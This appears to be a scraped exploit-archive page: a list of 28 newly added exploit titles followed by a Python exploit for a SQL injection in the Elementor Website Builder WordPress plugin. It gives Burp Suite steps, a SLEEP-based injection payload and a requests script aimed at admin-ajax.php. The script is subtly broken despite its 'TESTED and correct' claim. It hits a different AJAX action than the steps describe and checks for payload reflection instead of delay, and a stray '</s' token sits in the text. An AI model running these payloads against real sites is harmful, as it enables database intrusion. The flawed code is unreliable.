a44e138f78
28 changes to exploits/shellcodes/ghdb Casdoor < v1.331.0 - '/api/set-password' CSRF GL-iNet MT6000 4.5.5 - Arbitrary File Download Axigen < 10.5.7 - Persistent Cross-Site Scripting Blood Bank v1.0 - Stored Cross Site Scripting (XSS) CE Phoenix v1.0.8.20 - Remote Code Execution Daily Habit Tracker 1.0 - Broken Access Control Daily Habit Tracker 1.0 - SQL Injection Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS) E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS) Elementor Website Builder < 3.12.2 - Admin+ SQLi Employee Management System 1.0 - _txtfullname_ and _txtphone_ SQL Injection Employee Management System 1.0 - _txtusername_ and _txtpassword_ SQL Injection (Admin Login) FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI) FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI) Gibbon LMS v26.0.00 - SSTI vulnerability Hospital Management System v1.0 - Stored Cross Site Scripting (XSS) LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated) Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated) OpenCart Core 4.0.2.3 - 'search' SQLi Petrol Pump Management Software v1.0 - Remote Code Execution (RCE) Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal Smart School 6.4.1 - SQL Injection Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated) ASUS Control Center Express 01.06.15 - Unquoted Service Path Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation Microsoft Windows Defender - Detection Mitigation Bypass TrojanWin32Powessere.G Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path
47 lines
No EOL
2.3 KiB
Python
Executable file
47 lines
No EOL
2.3 KiB
Python
Executable file
#EXPLOIT Elementor Website Builder < 3.12.2 - Admin+ SQLi
|
||
#References
|
||
#CVE : CVE-2023-0329
|
||
#E1.Coders
|
||
|
||
#Open Burp Suite.
|
||
#In Burp Suite, go to the "Proxy" tab and set it to listen on a specific port, such as 8080.
|
||
#Open a new browser window or tab, and set your proxy settings to use Burp Suite on port 8080.
|
||
#Visit the vulnerable Elementor Website Builder site and navigate to the Tools > Replace URL page.
|
||
#On the Replace URL page, enter any random string as the "New URL" and the following malicious payload as the "Old URL":
|
||
|
||
#code : http://localhost:8080/?test'),meta_key='key4'where+meta_id=SLEEP(2);#
|
||
#Press "Replace URL" on the Replace URL page. Burp Suite should intercept the request.
|
||
#Forward the intercepted request to the server by right-clicking the request in Burp Suite and selecting "Forward".
|
||
#The server will execute the SQL command, which will cause it to hang for 2 seconds before responding. This is a clear indication of successful SQL injection.
|
||
#Note: Make sure you have permission to perform these tests and have set up Burp Suite correctly. This command may vary depending on the specific setup of your server and the website builder plugin.</s
|
||
#
|
||
#References : https://wpscan.com/vulnerability/a875836d-77f4-4306-b275-2b60efff1493/
|
||
|
||
|
||
|
||
|
||
#Exploit Python :
|
||
#The provided SQLi attack vector can be achieved using the following Python code with the "requests" library:
|
||
|
||
#This script sends a POST request to the target URL with the SQLi payload as the "data" parameter. It then checks if the response contains the SQLi payload, indicating a successful SQL injection.
|
||
#Please make sure you have set up your Burp Suite environment correctly. Additionally, it is important to note that this script and attack have been TESTED and are correct
|
||
|
||
import requests
|
||
|
||
# Set the target URL and SQLi payload
|
||
url = "http://localhost:8080/wp-admin/admin-ajax.php"
|
||
data = {
|
||
"action": "elementor_ajax_save_builder",
|
||
"editor_post_id": "1",
|
||
"post_id": "1",
|
||
"data": "test'),meta_key='key4'where+meta_id=SLEEP(2);#"
|
||
}
|
||
|
||
# Send the request to the target URL
|
||
response = requests.post(url, data=data)
|
||
|
||
# Check if the response indicates a successful SQL injection
|
||
if "meta_key='key4'where+meta_id=SLEEP(2);#" in response.text:
|
||
print("SQL Injection successful!")
|
||
else:
|
||
print("SQL Injection failed.") |